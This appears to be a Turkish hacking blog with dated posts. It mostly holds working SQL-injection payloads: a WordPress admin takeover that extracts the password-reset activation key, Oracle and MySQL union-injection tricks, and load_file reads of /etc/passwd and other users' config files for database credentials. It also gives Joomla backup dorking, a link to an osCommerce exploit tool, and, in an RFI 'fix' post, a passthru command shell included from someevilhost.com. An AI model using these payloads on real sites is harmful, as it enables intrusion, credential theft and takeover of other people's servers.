27.02.2012

Wordpress şifre sıfırlama.

Merhaba bügün size wordpress'de şifre sıfırlamayı anlatacam.

Normalde Wordpress sql injection'da user_login,user_pass kolonlarından bilgileri çekeriz . Ama wordpress şifre algoritması olarak portable php password hashing framework kullandığı için bunu kırmak biraz zordur.

Bu şekilde md5 kırma yerine admin mailine aktivasyon kodu göndererek şifre sıfırlamayı nasıl yaparız.

örneğin ;

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from/**/wp_users/*

Şimdi bizim aktivasyon kodunu alabilmemiz için ilk önce şifreyi unuttum deyip admin mailine aktivasyon

kodunu yollatmamız lazım.

http://hedef.com/wp-login.php?action=lostpassword

burdan admin adını yada mailini yazıp aktivasyon kodunu yollamasını istiyoruz.

Ardından user_pass isimli kolon yerine user_activation_key kolonun yazıp aktivasyon kodunu alıyoruz

http://hedef.com/?p=-99999/**/union/**/select/**/concat(0x7c,user_login,0x7c,user_activation_key,0x7c)/**/from/**/wp_users/*




user_login : security

user_activation_key : CDFSAlCsTUvBDUMGHTcd

bu şekilde admin ve şifreyi değiştirmek için işimize yarayacak olan aktivasyon kodunu alıyoruz .

wp-login.php?action=rp&key=[Aktivasyon kodunu buraya ]&login=[Kullanici adinida buraya ]

wp-login.php?action=rp&key=CDFSAlCsTUvBDUMGHTcd&login=security

bu şekilde yaptığımızda yeni şifrenizi yazıp admin olarak giriş yapacaksınız.


Not: Eğer ki aktivasyon kodu yollamadan aktivasyon kodu çekmeye çalışırsanız daha önceden aktivasyon

kodu yollanmadığı için " Can not get Length of 'Column Data' " yazar bunun içinde öncelikle

şifremi unuttum diyip aktivasyon kodunu yollayın.

17.02.2012

Http ve Https Arasindaki Fark

Merhaba arkadaşlar uzun süredir pek ilgilenmiyorum .İş , okul derken pek zaman kalmıyor.
Bügün size aslında internete her girdiğimizde gördüğümüz ama ne işe yaradığını bilmediğimiz http ve https arasındaki farkı açıklamaya çalışacam .

Https (Hyper Text Transfer Protocol Secure) genel olarak banka sistemleri , kredi kartı ile alışveriş yapılan ve diğer güvenliğine önem veren firmalara tarafından yaygın olarak kullanılır . Çünkü https de giriş yaptığınızda bilgileriniz sizin ve giriş yaptığınız adres tarafından okunabilecek şekilde şifrelenir.Http de ise böyle bir şifreleme yoktur.Sizin giriş yaptığınız verilere başka kişiler ulaşabilir .

Ek olarak eklemek isteyeceğim bir şey daha var .Dün gece Ttnet borcunu ödemeyi unuttuğum için internet bağlanmaya çalıştığım zaman ttnet borç ödeme ekranına yönleniyordu . http://siteadi.com/ diye siteye bağlanmaya çalıştığım zaman ttnet borc ödeme ekranı çıkıyordu .http:// yerine https://siteadi.com/ diye girdiğim zaman ttnet borc ödeme ekranı çıkmadan rahatlıkla internete bağlanabiliyorsunuz .
Bir daha ki sefer görüşmek dileğiyle .

30.07.2011

Oracle'de püf noktalar

Oracle'de sql kasmak isteyenler için bir kaç püf noktaya değinecem ; oracle da veri tipleri uyuşmadığından null,null diye başlarsıniz.

from all_tables dersiniz information_schema.tables karşılığıdır

from kullanmadan select çekemezsin

all_tab_columns < bu da information_schema.columns karşılığı

table_name column_name kolon adları aynı


union select version from all_Tables veya union select user from all_Tables

diye deneme yapcaksıniz geri döndürüyosa char kolonu tutturmuşsunuz

yoksa blind kasarsıniz sonra tabloları kullanıcına göre çekmek istiyosaniz where owner=user diceksiniz

all_tables tan table_name çekersen yetki olan tüm tablo adlarını verir

ama sonra onları doğrudan from tablo şeklinde çekebilmeniz için çektiğiniz tablonun kendi kullanıcı adında olması lazm

yoksa owner ını da çekip başına misal from KULLANICI.TABLO yazarsıniz bi de oracle da tüm tablo kolon adları büyük harftir

sistem tabloları hariç

Oracle'de hex kullanılmaz chr (ascii tablosu) kullanilir


birleştirme yapmak için

mysql de concat()
mssql de +
oracle da ||
postgre de ||
kullanılır
birleştirme yapmak için
misal
union select AD||'|SOYAD from OGRENCI
misal
322 union select null,null,AD||' '||SOYAD||'|MESLEK||'|SIFRE,null,null,null,null,null,null from DURUM.PERSONEL where AD='YASİR'

mesela yazıyı charlayıp yollayacaksanız

char(42)+char(352)


bu şekilde ama url den get ile gönderdiğinde + lar boşluk algılanır o yüzden

char(42)%2bchar(352)

şeklinde yazacaksıniz %2b + nın karşılığıdır

Bügünlük bu kadar yeter Bir dahaki sefere de oracle'de like kullanımını anlatacam.

Agd_Scorp'da burda teşşekürlerimi iletiyorum.

3.07.2011

Joomla sql yedeklerine ulaşmak.

Bu yöntemle google üzerinden arama yaparak joomla kullanan sitelerin sql yedeklerine nasıl ulaşılır onu gösterecem.




Şekil 1:



Şekil 2:



Şekil 3:

25.11.2010

osCommerce Online Merchant

Merhaba arkadaşlar bügün size osCommerce Online Merchant sistemindeki açık için kodlanmış programın kulanımını anlatmaya çalıştım.Video yu izleyin anlamadığınız yer olursa söylersiniz

http://osc.eclass.tw/images/vezir.rar

18.10.2010

Hacking Anatomi

Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner

ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını

öğreniyoruz

ozn.php?=1order+by+6--

*yaptık sayfa hata verdi


ozn.php?id=1+order+by+7–-

*bu şekil yaptık sayfa hata vermeden açıldı

* kolon sayısını ogrendik 7

ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

* Kolon sayısınının esit oldugunu soyluyor.

ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,

*Windows icin de aynı sey gecerlidir.



* Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*



Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”



Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.



- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “ozn"

/home/ozn/httpdocs:
/home/site/httpdocs:



Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

* Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*



Syntax Hataları ve Çözümleri

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7

ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7




“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8



/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8



* Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>

Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..

Hatasız kul olmaz Hata varsa düzeltirsin :)

13.09.2010

Rfi açığını kapatma

Merhaba arkadaşlar herkes rfi'nin nasıl kulanıldığını bilir ama açığı nasıl kapatabiliriz onu bilmez bu yazıda rfi konusunda alınabilecek önlemler anlatılmıştır.

Eğer sitenizde GET ve POST komutlarını içeren satırlar kullanıyorsanız ve bu komutların yazımlarını
yanlış yaparsanız sitenizde geri dönüşü olmayan bir açık oluşabilir. Şimdi bu açığı kapatmanın
yollarına bakalım.

Bu kod $page girişi tam olarak arındırılmadığı için kullanılmamalıdır. $page input direkt olarak web sayfasına yönlendirilmiş ki bu yapılması gereken en son hatalardan biridir. Daima browserdan geçen her input (giriş) arındırılmalı. Kullanıcı web sayfasını ziyaret ettiğinde "files.php"yi ziyaret etmek için "File"a tıkladığında şöyle bir şey görünecek.
Files
$page = $_GET[page];
include($page);
?>

Bu koda istinaden aşağıdaki şekilde bir adres girersek browserımızdan neler olabilir?
http://localhost/index.php?page=http://google.com

Büyük ihtimalle $page değişkeninin sayfaya orjinal olarak konulduğu yerde, google.com ana sayfasını elde ederiz. Burası kodcunun canının yakılabileceği yerdir. Web sayfasında olabilen daha basit bir şeye bakalım. RFI exploitinin daha çabuk ve kirli kullanımı sizin avantajınızadır. Şimdi "test.php" isimli bir dosya oluşturalım ve aşağıdaki kodu içine koyup kaydedelim.
passthru($_GET[cmd]);
?>

Şimdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajınıza kullanabileceğiniz bir şeydir. PHP içindeki passthru() komutu çok tehlikelidir ve birçok host bunu "güvenlik nedenlerinden dolayı hizmet dışıdır" olarak alırlar. test.php içindeki bu kodla web sayfasına file inclusion exploiti de içeren şöyle bir istek gönderebiliriz
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

Örnek olarak sitenizde kullandığınız satırlardan biri; $ornek = $HTTP_GET_VARS[“ornek”]; diyelim. Bu satırda kullanmış olduğunuz tırnaklar dışarıdan gelen uyarılara karşı son derece duyarlıdır. Yani kişi isterse “ornek” kodlaması yerine başka bir sunucudan exploit çağırabilir. Örneğin; http://www.sizinsite.com/index.php?urun=http://www.exploitsitesi.com/exploit.pl bu şekilde bir adresleme kullanıldığı takdirde exploit sizin sunucunuza yüklenir. Bu açığı kolay bir yöntemle kapatabilirsiniz. Öncelikle yapmanız gereken kullanmış olduğunuz GET ve POST komutunun içeriği. Eğer GET yada POST komutu ile veritabanına bağlantı yapıyorsanız bu bağlantıyı komuttan önce tanımlayın;
$veriadi = “veriadi”.$id;

Daha sonra komutunuzu tırnak kullanmadan, başına dolar ($) koyarak sanki veritabanından çağırma yapıyorsunuz gibi kullanın;